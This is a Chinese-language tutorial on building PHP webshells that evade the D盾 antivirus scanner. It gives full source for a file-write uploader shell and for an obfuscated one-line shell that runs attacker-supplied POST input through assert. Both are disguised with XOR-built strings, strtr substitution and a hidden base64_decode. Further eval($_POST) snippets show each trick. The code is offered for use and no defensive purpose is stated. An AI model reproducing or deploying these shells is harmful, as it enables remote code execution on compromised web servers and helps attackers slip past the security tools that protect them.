一、免杀小马 小马源代码 我们首先要有一个文件上传下马的源代码,接下来才能对改源码做免杀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php header ("content-Type: text/html; charset=utf-8" );?> <form method="POST" ></br> shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\', '/', __FILE__) ?>" > <br><br> <textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br> <input type="submit" name="submit" value="保存" > </form> <?php error_reporting (0 );if ($_POST ) { $f = fopen ($_POST ["file" ], "w" ); echo fwrite ($f , $_POST ["text" ]) ? '保存成功!' : '保存失败!' ; } ?>
该原始文件自然是不会免杀的
小马免杀思路 先上完整代码,大致分为三部分的免杀处理,后续进行逐一思路拆解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php header ("content-Type: text/html; charset=utf-8" );?> <form method="POST" ></br> 路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\', '/', __FILE__) ?>" > <br><br> <textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br> <input type="submit" name="submit" value="保存" > </form> <?php error_reporting (0 );if ($_POST ) { $aa = "~+d()" ^ "!{+{}" ; $bb = ${$aa }["file" ]; $f = fopen ($bb , 'w' ); $tarr = array ("j" => "e" , "a" => "x" ); $t = strtr ('tjat' , $tarr ); $j = $_POST [$t ]; $k = "\n" ; echo fwrite ($f , $k .=$j ) ? '保存成功!' : '保存失败!' ; } ?>
第一部分和第三部分主要是对$_POST
做隐藏处理 首先第一部分代码,这里主要是利用异或赋值$aa = "~+d()" ^ "!{+{}"
,而字符串~+d()" ^ "!{+{}
异或的结果为_POST
,然后$bb = ${$aa}["file"]
与$bb = $_POST["file"]
等价,这样就成功的把$_POST
隐藏起来了。 举个例子:
1 2 3 4 5 <?php $a = "~+d()" ^"!{+{}" ;$b = ${$a }[a];eval ($b );?>
第三部分是使用的特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。这里使用的是连接符进行构造。 举个例子:
1 2 3 4 5 <?php $a = $_POST ['a' ];$b = "\n" ;eval ($b .=$a );?>
第二部分是对字符串text
做处理 为什么要对这个字符串做处理呢,因为不作处理D盾会警告可疑文件 这里使用strtr
函数对字符串做处理,他可以替换字符串中的字符,我们使用一个混淆的字符串再加上调用一个数组来指定替换那些字符串,最终结果成功绕过D盾。该函数具体介绍参考这篇文章
二、免杀一句话 先贴免杀代码,后边讲思路
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php function guodog ($b ) { $l1 ="Mw==" ; $tarr = array ("j" => "o" , "h" => "s" ); $jjkjkjkjkkjkh = strtr ('bahe64_decjde' , $tarr ); $l =$jjkjkjkjkkjkh ($l1 ); $l2 =("$l " ^'R' ).("$l " ^'@' ).("$l " ^'@' ).("$l " ^'V' ).("$l " ^'K' ).("$l " ^'K' ); $d = substr_replace ($l2 ,"rt" ,4 ); $a = array ($arrayName = ($arrayName =($arrayName = array ('a' => $d ($_POST ['x' ]))))); } guodog ($b );?>
首先我们这个一句话主要使用了异或的方法隐藏assert
,简单的用案例介绍一下异或的使用方法
1 2 3 4 5 6 7 8 9 10 11 <?php echo ("x" ^"3" )."<br/>" ; echo ("3" ^"K" )."<br/>" ; echo ("3" ^"R" )."<br/>" ; echo ("3" ^"@" )."<br/>" ; echo ("3" ^"@" )."<br/>" ; echo ("3" ^"V" )."<br/>" ; echo ("3" ^"A" )."<br/>" ; echo ("3" ^"G" )."<br/>" ;
我们可以使用连接符将异或结果拼接为assert
1 2 3 4 <?php $l =("3" ^"R" ).("3" ^"@" ).("3" ^"@" ).("3" ^"V" ).("3" ^"A" ).("3" ^"G" );echo $l ; ?>
但是这个方法放到一句话木马里D盾会提示可疑文件 所以我们要对异或的字符串做加密处理(注:不能一口气将全部的内容做加密,就算解开了会当做一个字符串处理,不会再解析了),这里选择将3
作为加密字符
加密方式使用base64
,但是D盾对base64_decode
做的有校验,不能直接使用,我们采取小马中对字符串处理的方法,使用strtr
函数传递一个数组进去,详细看小马部分内容。
最后我们输出的时候我们不能将变量和$_POST[value]
放在一起,否则D盾会报可疑变量 最后使用数组的形式进行传递,成功绕过D盾